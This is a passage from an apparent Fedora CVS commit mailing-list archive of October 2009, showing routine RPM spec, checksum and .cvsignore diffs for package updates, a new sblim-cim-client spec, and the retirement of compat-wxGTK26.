RCS file: /cvs/extras/rpms/sblim-cim-client/F-10/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	6 Oct 2009 17:39:11 -0000	1.1
+++ sources	7 Oct 2009 12:20:04 -0000	1.2
@@ -0,0 +1,2 @@
+37078f13a5a7ea2cc69b6751c8f48518  sblim-cim-client-1.3.9.1-src.zip
+a90d4fb7542aaff03eb4498641cd2c9a  sblim-cim-client-samples-1.3.9.1-src.zip



From pbrobinson at fedoraproject.org  Wed Oct  7 12:28:28 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Wed,  7 Oct 2009 12:28:28 +0000 (UTC)
Subject: rpms/moblin-panel-myzone/F-12 .cvsignore, 1.5,
	1.6 moblin-panel-myzone.spec, 1.5, 1.6 sources, 1.5, 1.6
Message-ID: <20091007122828.B7C1B11C00E6@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/moblin-panel-myzone/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7711

Modified Files:
	.cvsignore moblin-panel-myzone.spec sources 
Log Message:
- New upstream 0.0.7 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-myzone/F-12/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	17 Sep 2009 16:51:43 -0000	1.5
+++ .cvsignore	7 Oct 2009 12:28:28 -0000	1.6
@@ -1 +1 @@
-moblin-panel-myzone-0.0.6.tar.bz2
+moblin-panel-myzone-0.0.7.tar.bz2


Index: moblin-panel-myzone.spec
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-myzone/F-12/moblin-panel-myzone.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- moblin-panel-myzone.spec	17 Sep 2009 16:51:43 -0000	1.5
+++ moblin-panel-myzone.spec	7 Oct 2009 12:28:28 -0000	1.6
@@ -1,5 +1,5 @@
 Name:           moblin-panel-myzone
-Version:        0.0.6
+Version:        0.0.7
 Release:        1%{?dist}
 Summary:        Moblin Panel for MyZone
 
@@ -78,6 +78,9 @@ rm -rf %{buildroot}
 %{_libdir}/libpenge.so
 
 %changelog
+* Wed Oct  7 2009 Peter Robinson <pbrobinson at gmail.com> 0.0.7-1
+- New upstream 0.0.7 release
+
 * Thu Sep 17 2009 Peter Robinson <pbrobinson at gmail.com> 0.0.6-1
 - New upstream 0.0.6 release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-myzone/F-12/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	17 Sep 2009 16:51:43 -0000	1.5
+++ sources	7 Oct 2009 12:28:28 -0000	1.6
@@ -1 +1 @@
-4845cab659b86c7c7e14476c42b7d7b1  moblin-panel-myzone-0.0.6.tar.bz2
+6dd3777f4d139c6dd5dad5c15475668d  moblin-panel-myzone-0.0.7.tar.bz2



From mitr at fedoraproject.org  Wed Oct  7 12:28:58 2009
From: mitr at fedoraproject.org (Miloslav Trmac)
Date: Wed,  7 Oct 2009 12:28:58 +0000 (UTC)
Subject: rpms/m2crypto/devel .cvsignore, 1.13, 1.14 m2crypto.spec, 1.58,
	1.59 sources, 1.13, 1.14
Message-ID: <20091007122859.075A811C00E6@cvs1.fedora.phx.redhat.com>

Author: mitr

Update of /cvs/pkgs/rpms/m2crypto/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7929

Modified Files:
	.cvsignore m2crypto.spec sources 
Log Message:
* Wed Oct  7 2009 Miloslav Trma? <mitr at redhat.com> - 0.20.2-1
- Update to m2crypto-0.20.2
- Drop BuildRoot: and cleaning it at start of %%install



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/m2crypto/devel/.cvsignore,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- .cvsignore	30 Aug 2009 14:31:50 -0000	1.13
+++ .cvsignore	7 Oct 2009 12:28:58 -0000	1.14
@@ -1 +1 @@
-M2Crypto-0.20.1.tar.gz
+M2Crypto-0.20.2.tar.gz


Index: m2crypto.spec
===================================================================
RCS file: /cvs/pkgs/rpms/m2crypto/devel/m2crypto.spec,v
retrieving revision 1.58
retrieving revision 1.59
diff -u -p -r1.58 -r1.59
--- m2crypto.spec	30 Aug 2009 14:31:50 -0000	1.58
+++ m2crypto.spec	7 Oct 2009 12:28:58 -0000	1.59
@@ -5,7 +5,7 @@
 
 Summary: Support for using OpenSSL in python scripts
 Name: m2crypto
-Version: 0.20.1
+Version: 0.20.2
 Release: 1
 Source0: http://pypi.python.org/packages/source/M/M2Crypto/M2Crypto-%{version}.tar.gz
 # https://bugzilla.osafoundation.org/show_bug.cgi?id=2341
@@ -17,7 +17,6 @@ Patch2: m2crypto-0.20.1-openssl1.patch
 License: MIT
 Group: System Environment/Libraries
 URL: http://wiki.osafoundation.org/bin/view/Projects/MeTooCrypto
-BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: openssl-devel, python-devel
 BuildRequires: perl, pkgconfig, swig
 Requires: python
@@ -62,8 +61,6 @@ fi
 SWIG_FEATURES=-cpperraswarn python setup.py build
 
 %install
-rm -rf $RPM_BUILD_ROOT
-
 CFLAGS="$RPM_OPT_FLAGS" ; export CFLAGS
 if pkg-config openssl ; then
 	CFLAGS="$CFLAGS `pkg-config --cflags openssl`" ; export CFLAGS
@@ -92,6 +89,10 @@ rm -rf $RPM_BUILD_ROOT
 %{python_sitearch}/M2Crypto-*.egg-info
 
 %changelog
+* Wed Oct  7 2009 Miloslav Trma? <mitr at redhat.com> - 0.20.2-1
+- Update to m2crypto-0.20.2
+- Drop BuildRoot: and cleaning it at start of %%install
+
 * Sun Aug 30 2009 Miloslav Trma? <mitr at redhat.com> - 0.20.1-1
 - Update to m2crypto-0.20.1
 - Add upstream patch to build with OpenSSL 1.0.0


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/m2crypto/devel/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	30 Aug 2009 14:31:50 -0000	1.13
+++ sources	7 Oct 2009 12:28:58 -0000	1.14
@@ -1 +1 @@
-6a7420664310f424be4e63dfbe7e6e5f  M2Crypto-0.20.1.tar.gz
+6c24410410d6eb1920ea43f77a93613a  M2Crypto-0.20.2.tar.gz



From vcrhonek at fedoraproject.org  Wed Oct  7 12:35:02 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Wed,  7 Oct 2009 12:35:02 +0000 (UTC)
Subject: rpms/sblim-cim-client/EL-5 sblim-cim-client.spec, NONE, 1.1 sources,
	1.1, 1.2
Message-ID: <20091007123502.DCF1311C00E6@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-cim-client/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10141

Modified Files:
	sources 
Added Files:
	sblim-cim-client.spec 
Log Message:
Initial commit


--- NEW FILE sblim-cim-client.spec ---
%define provider_dir %{_libdir}/cmpi
%define tog_pegasus_version 2:2.5.1

# sblim-cim-client macros
%define archive_folder_name cim-client
%define cim_client_jar_file sblimCIMClient
%define slp_name sblim-slp-client
%define slp_client_jar_file sblimSLPClient

# there's no reason to produce debuginfo package
#%global debug_package %{nil}

Summary:        Java CIM Client library
Name:           sblim-cim-client
Version:        1.3.9.1
Release:        1%{?dist}
License:        EPL
Group:          Development/Libraries
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
URL:            http://sourceforge.net/projects/sblim/
Source0:        http://downloads.sourceforge.net/project/sblim/%{name}/%{version}/%{name}-%{version}-src.zip
Source1:        http://downloads.sourceforge.net/project/sblim/%{name}/%{version}/%{name}-samples-%{version}-src.zip

BuildArch:      noarch

BuildRequires:  java-devel >= 1.4
BuildRequires:  jpackage-utils >= 0:1.5.32
BuildRequires:  xerces-j2 >= 2.7.1
BuildRequires:  ant >= 0:1.6
BuildRequires:  dos2unix

Requires:       java >= 1.4
Requires:       jpackage-utils >= 0:1.5.32
Requires:       xerces-j2 >= 2.7.1
Requires:       tog-pegasus >= %{tog_pegasus_version}

%description
The purpose of this package is to provide a CIM Client Class Library for Java
applications. It complies to the DMTF standard CIM Operations over HTTP and
intends to be compatible with JCP JSR48 once it becomes available. To learn
more about DMTF visit http://www.dmtf.org.
More infos about the Java Community Process and JSR48 can be found at
http://www.jcp.org and http://www.jcp.org/en/jsr/detail?id=48.

%package javadoc
Summary:        Javadoc for %{name}
Group:          Documentation
Requires:       sblim-cim-client = %{version}-%{release}

%description javadoc
Javadoc for sblim-cim-client.

%package manual
Summary:        Manual and sample code for %{name}
Group:          Documentation
Requires:       sblim-cim-client = %{version}-%{release}

%description manual
Manual and sample code for sblim-cim-client.

%prep
%setup -q -n %{archive_folder_name}
rm version.txt
%setup -q -T -D -b 1 -n %{archive_folder_name}

%build
export ANT_OPTS="-Xmx256m"
ant \
        -Dbuild.compiler=modern \
        -DManifest.version=%{version} \
        build-release

%install
rm -rf $RPM_BUILD_ROOT
# documentation
dos2unix COPYING README ChangeLog NEWS
mkdir -p $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install COPYING $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install README $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install ChangeLog $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install NEWS $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
# samples (also into _docdir)
pushd samples
  dos2unix README.samples
  pushd org/sblim/slp/example
    dos2unix *
  popd
  pushd org/sblim/wbem/cimclient/sample
    dos2unix *
  popd
popd
install samples/README.samples $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
cp -pr  samples/org $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
# default cim.defaults
dos2unix cim.defaults slp.conf
mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/java
install cim.defaults $RPM_BUILD_ROOT%{_sysconfdir}/java/%{name}.properties
install slp.conf $RPM_BUILD_ROOT%{_sysconfdir}/java/%{slp_name}.properties
# jar
mkdir -p $RPM_BUILD_ROOT%{_javadir}
install %{archive_folder_name}/%{cim_client_jar_file}.jar $RPM_BUILD_ROOT%{_javadir}/%{name}-%{version}.jar
(
  cd $RPM_BUILD_ROOT%{_javadir} &&
    ln -sf %{name}-%{version}.jar %{cim_client_jar_file}.jar;
    ln -sf %{name}-%{version}.jar %{name}.jar;
)
install %{archive_folder_name}/%{slp_client_jar_file}.jar $RPM_BUILD_ROOT%{_javadir}/%{slp_name}-%{version}.jar
(
  cd $RPM_BUILD_ROOT%{_javadir} &&
    ln -sf %{slp_name}-%{version}.jar %{slp_client_jar_file}.jar;
    ln -sf %{slp_name}-%{version}.jar %{slp_name}.jar;
)
# javadoc
mkdir -p $RPM_BUILD_ROOT%{_javadocdir}/%{name}-%{version}
#cp -pr %{archive_folder_name}/doc/* $RPM_BUILD_ROOT%{_javadocdir}/%{name}-%{version}
#cp -pr doc/* $RPM_BUILD_ROOT%{_javadocdir}/%{name}-%{version}

%files
%defattr(0644,root,root,0755)
%config(noreplace) %{_sysconfdir}/java/%{name}.properties
%config(noreplace) %{_sysconfdir}/java/%{slp_name}.properties
%dir %{_datadir}/doc/%{name}-%{version}
%doc %{_docdir}/%{name}-%{version}/COPYING
%doc %{_docdir}/%{name}-%{version}/README
%doc %{_docdir}/%{name}-%{version}/ChangeLog
%doc %{_docdir}/%{name}-%{version}/NEWS
%{_javadir}/%{name}.jar
%{_javadir}/%{name}-%{version}.jar
%{_javadir}/%{cim_client_jar_file}.jar
%{_javadir}/%{slp_name}.jar
%{_javadir}/%{slp_name}-%{version}.jar
%{_javadir}/%{slp_client_jar_file}.jar

%files javadoc
%defattr(0644,root,root,0755)
%{_javadocdir}/%{name}-%{version}

%files manual
%defattr(0644,root,root,0755)
%doc %{_docdir}/%{name}-%{version}/README.samples
%doc %{_docdir}/%{name}-%{version}/COPYING
%doc %{_docdir}/%{name}-%{version}/org

%clean
rm -rf $RPM_BUILD_ROOT

%changelog
* Mon Oct  5 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 1.3.9.1-1
- Initial support


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sblim-cim-client/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	6 Oct 2009 17:39:11 -0000	1.1
+++ sources	7 Oct 2009 12:35:02 -0000	1.2
@@ -0,0 +1,2 @@
+37078f13a5a7ea2cc69b6751c8f48518  sblim-cim-client-1.3.9.1-src.zip
+a90d4fb7542aaff03eb4498641cd2c9a  sblim-cim-client-samples-1.3.9.1-src.zip



From pbrobinson at fedoraproject.org  Wed Oct  7 12:35:15 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Wed,  7 Oct 2009 12:35:15 +0000 (UTC)
Subject: rpms/moblin-session/devel moblin-session.spec, 1.2,
	1.3 moblin.desktop, 1.1, 1.2 import.log, 1.1, NONE
Message-ID: <20091007123515.8859511C00E6@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/moblin-session/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10272

Modified Files:
	moblin-session.spec moblin.desktop 
Removed Files:
	import.log 
Log Message:
- Shorten desktop name to plain Moblin


Index: moblin-session.spec
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-session/devel/moblin-session.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- moblin-session.spec	21 Aug 2009 23:36:48 -0000	1.2
+++ moblin-session.spec	7 Oct 2009 12:35:15 -0000	1.3
@@ -1,6 +1,6 @@
 Name:           moblin-session
 Version:        0.12
-Release:        5%{?dist}
+Release:        6%{?dist}
 Summary:        Moblin User Experience Startup Scripts
 
 Group:          User Interface/Desktops
@@ -43,6 +43,9 @@ rm -rf %{buildroot}
 %{_datadir}/xsessions/moblin.desktop
 
 %changelog
+* Wed Oct  7 2009 Peter Robinson <pbrobinson at gmail.com> 0.12-6
+- Shorten desktop name to plain Moblin
+
 * Fri Aug 21 2009 Peter Robinson <pbrobinson at gmail.com> 0.12-5
 - Specify the moblin-netbook plugin so we get an interface on login
 


Index: moblin.desktop
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-session/devel/moblin.desktop,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- moblin.desktop	17 Aug 2009 18:24:24 -0000	1.1
+++ moblin.desktop	7 Oct 2009 12:35:15 -0000	1.2
@@ -3,5 +3,5 @@ Encoding=UTF-8
 Type=Application
 Exec=startmoblin
 TryExec=startmoblin
-Name=Moblin User Experience
+Name=Moblin
 Comment=Moblin User Experience


--- import.log DELETED ---



From mschwendt at fedoraproject.org  Wed Oct  7 12:37:02 2009
From: mschwendt at fedoraproject.org (Michael Schwendt)
Date: Wed,  7 Oct 2009 12:37:02 +0000 (UTC)
Subject: rpms/compat-wxGTK26/F-12 dead.package, NONE, 1.1 .cvsignore, 1.3,
	NONE compat-wxGTK26-setup.h, 1.2, NONE compat-wxGTK26.spec, 1.29,
	NONE sources, 1.3, NONE wxGTK-2.6.3-expat2.patch, 1.2,
	NONE wxGTK-2.6.3-g_thread_init.patch, 1.1,
	NONE wxGTK-2.6.3-gtk-crash.patch, 1.1,
	NONE wxGTK-2.6.3-locale-compat.patch, 1.1,
	NONE wxGTK-2.6.3-strconv.patch, 1.1,
	NONE wxGTK-2.6.3-tooltips.patch, 1.1,
	NONE wxGTK-2.6.4-CVE-2009-2369.patch, 1.1,
	NONE wxGTK-2.6.4-config-script.patch, 1.1,
	NONE wxGTK-2.6.4-gsocket-conflict.patch, 1.1, NONE
Message-ID: <20091007123702.D1D3D11C00E6@cvs1.fedora.phx.redhat.com>

Author: mschwendt

Update of /cvs/extras/rpms/compat-wxGTK26/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10703/F-12

Added Files:
	dead.package 
Removed Files:
	.cvsignore compat-wxGTK26-setup.h compat-wxGTK26.spec sources 
	wxGTK-2.6.3-expat2.patch wxGTK-2.6.3-g_thread_init.patch 
	wxGTK-2.6.3-gtk-crash.patch wxGTK-2.6.3-locale-compat.patch 
	wxGTK-2.6.3-strconv.patch wxGTK-2.6.3-tooltips.patch 
	wxGTK-2.6.4-CVE-2009-2369.patch 
	wxGTK-2.6.4-config-script.patch 
	wxGTK-2.6.4-gsocket-conflict.patch 
Log Message:
Oct 2009, Fedora 12: Nothing in the Fedora Package Collection requires
compat-wxGTK26 anymore.



--- NEW FILE dead.package ---
Oct 2009, Fedora 12: Nothing in the Fedora Package Collection requires
compat-wxGTK26 anymore.


--- .cvsignore DELETED ---


--- compat-wxGTK26-setup.h DELETED ---


--- compat-wxGTK26.spec DELETED ---


--- sources DELETED ---


--- wxGTK-2.6.3-expat2.patch DELETED ---


--- wxGTK-2.6.3-g_thread_init.patch DELETED ---


--- wxGTK-2.6.3-gtk-crash.patch DELETED ---


--- wxGTK-2.6.3-locale-compat.patch DELETED ---


--- wxGTK-2.6.3-strconv.patch DELETED ---


--- wxGTK-2.6.3-tooltips.patch DELETED ---


--- wxGTK-2.6.4-CVE-2009-2369.patch DELETED ---


--- wxGTK-2.6.4-config-script.patch DELETED ---


--- wxGTK-2.6.4-gsocket-conflict.patch DELETED ---



From mschwendt at fedoraproject.org  Wed Oct  7 12:37:04 2009
From: mschwendt at fedoraproject.org (Michael Schwendt)
Date: Wed,  7 Oct 2009 12:37:04 +0000 (UTC)
Subject: rpms/compat-wxGTK26/devel dead.package, NONE, 1.1 .cvsignore, 1.3, 
	NONE compat-wxGTK26-setup.h, 1.2, NONE compat-wxGTK26.spec, 1.29,
	NONE sources, 1.3, NONE wxGTK-2.6.3-expat2.patch, 1.2,
	NONE wxGTK-2.6.3-g_thread_init.patch, 1.1,
	NONE wxGTK-2.6.3-gtk-crash.patch, 1.1,
	NONE wxGTK-2.6.3-locale-compat.patch, 1.1,
	NONE wxGTK-2.6.3-strconv.patch, 1.1,
	NONE wxGTK-2.6.3-tooltips.patch, 1.1,
	NONE wxGTK-2.6.4-CVE-2009-2369.patch, 1.1,
	NONE wxGTK-2.6.4-config-script.patch, 1.1,
	NONE wxGTK-2.6.4-gsocket-conflict.patch, 1.1, NONE
Message-ID: <20091007123704.8607011C00E6@cvs1.fedora.phx.redhat.com>

Author: mschwendt

Update of /cvs/extras/rpms/compat-wxGTK26/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10703/devel

Added Files:
	dead.package 
Removed Files:
	.cvsignore compat-wxGTK26-setup.h compat-wxGTK26.spec sources 
	wxGTK-2.6.3-expat2.patch wxGTK-2.6.3-g_thread_init.patch 
	wxGTK-2.6.3-gtk-crash.patch wxGTK-2.6.3-locale-compat.patch 
	wxGTK-2.6.3-strconv.patch wxGTK-2.6.3-tooltips.patch 
	wxGTK-2.6.4-CVE-2009-2369.patch 
	wxGTK-2.6.4-config-script.patch 
	wxGTK-2.6.4-gsocket-conflict.patch 
Log Message:
Oct 2009, Fedora 12: Nothing in the Fedora Package Collection requires
compat-wxGTK26 anymore.



--- NEW FILE dead.package ---
Oct 2009, Fedora 12: Nothing in the Fedora Package Collection requires
compat-wxGTK26 anymore.


--- .cvsignore DELETED ---


--- compat-wxGTK26-setup.h DELETED ---


--- compat-wxGTK26.spec DELETED ---


--- sources DELETED ---


--- wxGTK-2.6.3-expat2.patch DELETED ---


--- wxGTK-2.6.3-g_thread_init.patch DELETED ---


--- wxGTK-2.6.3-gtk-crash.patch DELETED ---


--- wxGTK-2.6.3-locale-compat.patch DELETED ---


--- wxGTK-2.6.3-strconv.patch DELETED ---


--- wxGTK-2.6.3-tooltips.patch DELETED ---


--- wxGTK-2.6.4-CVE-2009-2369.patch DELETED ---


--- wxGTK-2.6.4-config-script.patch DELETED ---


--- wxGTK-2.6.4-gsocket-conflict.patch DELETED ---



From pkgdb at fedoraproject.org  Wed Oct  7 12:38:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 12:38:38 +0000
Subject: [pkgdb] compat-wxGTK26 ownership updated
Message-ID: <20091007123838.1186A10F84D@bastion2.fedora.phx.redhat.com>

Package compat-wxGTK26 in Fedora devel was orphaned by mschwendt

To make changes to this package see:
  /pkgdb/packages/name/compat-wxGTK26



From pkgdb at fedoraproject.org  Wed Oct  7 12:38:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 12:38:38 +0000
Subject: [pkgdb] compat-wxGTK26 (un)retirement
Message-ID: <20091007123838.2922C10F88F@bastion2.fedora.phx.redhat.com>

Package compat-wxGTK26 in Fedora devel has been retired by mschwendt

To make changes to this package see:
  /pkgdb/packages/name/compat-wxGTK26



From pkgdb at fedoraproject.org  Wed Oct  7 12:38:44 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 12:38:44 +0000
Subject: [pkgdb] compat-wxGTK26 ownership updated
Message-ID: <20091007123844.4FBE610F84D@bastion2.fedora.phx.redhat.com>

Package compat-wxGTK26 in Fedora 12 was orphaned by mschwendt

To make changes to this package see:
  /pkgdb/packages/name/compat-wxGTK26



From pkgdb at fedoraproject.org  Wed Oct  7 12:38:44 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 12:38:44 +0000
Subject: [pkgdb] compat-wxGTK26 (un)retirement
Message-ID: <20091007123844.6588610F894@bastion2.fedora.phx.redhat.com>

Package compat-wxGTK26 in Fedora 12 has been retired by mschwendt

To make changes to this package see:
  /pkgdb/packages/name/compat-wxGTK26



From pbrobinson at fedoraproject.org  Wed Oct  7 12:41:05 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Wed,  7 Oct 2009 12:41:05 +0000 (UTC)
Subject: rpms/moblin-session/F-12 moblin-session.spec, 1.2,
	1.3 moblin.desktop, 1.1, 1.2 import.log, 1.1, NONE
Message-ID: <20091007124105.2332011C00E6@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/moblin-session/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11587

Modified Files:
	moblin-session.spec moblin.desktop 
Removed Files:
	import.log 
Log Message:
- Shorten desktop name to plain Moblin


Index: moblin-session.spec
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-session/F-12/moblin-session.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- moblin-session.spec	21 Aug 2009 23:36:48 -0000	1.2
+++ moblin-session.spec	7 Oct 2009 12:41:05 -0000	1.3
@@ -1,6 +1,6 @@
 Name:           moblin-session
 Version:        0.12
-Release:        5%{?dist}
+Release:        6%{?dist}
 Summary:        Moblin User Experience Startup Scripts
 
 Group:          User Interface/Desktops
@@ -43,6 +43,9 @@ rm -rf %{buildroot}
 %{_datadir}/xsessions/moblin.desktop
 
 %changelog
+* Wed Oct  7 2009 Peter Robinson <pbrobinson at gmail.com> 0.12-6
+- Shorten desktop name to plain Moblin
+
 * Fri Aug 21 2009 Peter Robinson <pbrobinson at gmail.com> 0.12-5
 - Specify the moblin-netbook plugin so we get an interface on login
 


Index: moblin.desktop
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-session/F-12/moblin.desktop,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- moblin.desktop	17 Aug 2009 18:24:24 -0000	1.1
+++ moblin.desktop	7 Oct 2009 12:41:05 -0000	1.2
@@ -3,5 +3,5 @@ Encoding=UTF-8
 Type=Application
 Exec=startmoblin
 TryExec=startmoblin
-Name=Moblin User Experience
+Name=Moblin
 Comment=Moblin User Experience


--- import.log DELETED ---



From ltinkl at fedoraproject.org  Wed Oct  7 12:41:26 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 12:41:26 +0000 (UTC)
Subject: rpms/kdetoys/F-10 .cvsignore, 1.34, 1.35 kdetoys.spec, 1.44,
	1.45 sources, 1.34, 1.35
Message-ID: <20091007124126.1BE9911C00E6@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdetoys/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11605/F-10

Modified Files:
	.cvsignore kdetoys.spec sources 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdetoys/F-10/.cvsignore,v
retrieving revision 1.34
retrieving revision 1.35
diff -u -p -r1.34 -r1.35
--- .cvsignore	1 Sep 2009 18:29:47 -0000	1.34
+++ .cvsignore	7 Oct 2009 12:41:25 -0000	1.35
@@ -1 +1 @@
-kdetoys-4.3.1.tar.bz2
+kdetoys-4.3.2.tar.bz2


Index: kdetoys.spec
===================================================================
RCS file: /cvs/extras/rpms/kdetoys/F-10/kdetoys.spec,v
retrieving revision 1.44
retrieving revision 1.45
diff -u -p -r1.44 -r1.45
--- kdetoys.spec	1 Sep 2009 18:29:47 -0000	1.44
+++ kdetoys.spec	7 Oct 2009 12:41:25 -0000	1.45
@@ -1,7 +1,7 @@
 Name:           kdetoys
 Summary:        K Desktop Environment - Toys and Amusements
 Epoch:          7
-Version:        4.3.1
+Version:        4.3.2
 Release:        1%{?dist}
 
 License:        GPLv2
@@ -86,6 +86,9 @@ fi
 
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Fri Aug 28 2009 Than Ngo <than at redhat.com> - 4.3.1-1
 - 4.3.1
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdetoys/F-10/sources,v
retrieving revision 1.34
retrieving revision 1.35
diff -u -p -r1.34 -r1.35
--- sources	1 Sep 2009 18:29:47 -0000	1.34
+++ sources	7 Oct 2009 12:41:25 -0000	1.35
@@ -1 +1 @@
-0cd0bba2f6265751537bf7bdaeacb518  kdetoys-4.3.1.tar.bz2
+a4496c504940f076997e553f257e4b3d  kdetoys-4.3.2.tar.bz2



From ltinkl at fedoraproject.org  Wed Oct  7 12:41:26 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 12:41:26 +0000 (UTC)
Subject: rpms/kdetoys/F-11 .cvsignore, 1.38, 1.39 kdetoys.spec, 1.54,
	1.55 sources, 1.35, 1.36
Message-ID: <20091007124126.6629411C00E6@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdetoys/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11605/F-11

Modified Files:
	.cvsignore kdetoys.spec sources 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdetoys/F-11/.cvsignore,v
retrieving revision 1.38
retrieving revision 1.39
diff -u -p -r1.38 -r1.39
--- .cvsignore	1 Sep 2009 18:29:48 -0000	1.38
+++ .cvsignore	7 Oct 2009 12:41:26 -0000	1.39
@@ -1 +1 @@
-kdetoys-4.3.1.tar.bz2
+kdetoys-4.3.2.tar.bz2


Index: kdetoys.spec
===================================================================
RCS file: /cvs/extras/rpms/kdetoys/F-11/kdetoys.spec,v
retrieving revision 1.54
retrieving revision 1.55
diff -u -p -r1.54 -r1.55
--- kdetoys.spec	1 Sep 2009 18:29:48 -0000	1.54
+++ kdetoys.spec	7 Oct 2009 12:41:26 -0000	1.55
@@ -1,7 +1,7 @@
 Name:           kdetoys
 Summary:        K Desktop Environment - Toys and Amusements
 Epoch:          7
-Version:        4.3.1
+Version:        4.3.2
 Release:        1%{?dist}
 
 License:        GPLv2
@@ -86,6 +86,9 @@ fi
 
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Fri Aug 28 2009 Than Ngo <than at redhat.com> - 4.3.1-1
 - 4.3.1
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdetoys/F-11/sources,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- sources	1 Sep 2009 18:29:48 -0000	1.35
+++ sources	7 Oct 2009 12:41:26 -0000	1.36
@@ -1 +1 @@
-0cd0bba2f6265751537bf7bdaeacb518  kdetoys-4.3.1.tar.bz2
+a4496c504940f076997e553f257e4b3d  kdetoys-4.3.2.tar.bz2



From ltinkl at fedoraproject.org  Wed Oct  7 12:41:26 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 12:41:26 +0000 (UTC)
Subject: rpms/kdetoys/F-12 .cvsignore, 1.41, 1.42 kdetoys.spec, 1.59,
	1.60 sources, 1.38, 1.39
Message-ID: <20091007124126.D63E111C00E6@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdetoys/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11605/F-12

Modified Files:
	.cvsignore kdetoys.spec sources 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdetoys/F-12/.cvsignore,v
retrieving revision 1.41
retrieving revision 1.42
diff -u -p -r1.41 -r1.42
--- .cvsignore	1 Sep 2009 18:29:48 -0000	1.41
+++ .cvsignore	7 Oct 2009 12:41:26 -0000	1.42
@@ -1 +1 @@
-kdetoys-4.3.1.tar.bz2
+kdetoys-4.3.2.tar.bz2


Index: kdetoys.spec
===================================================================
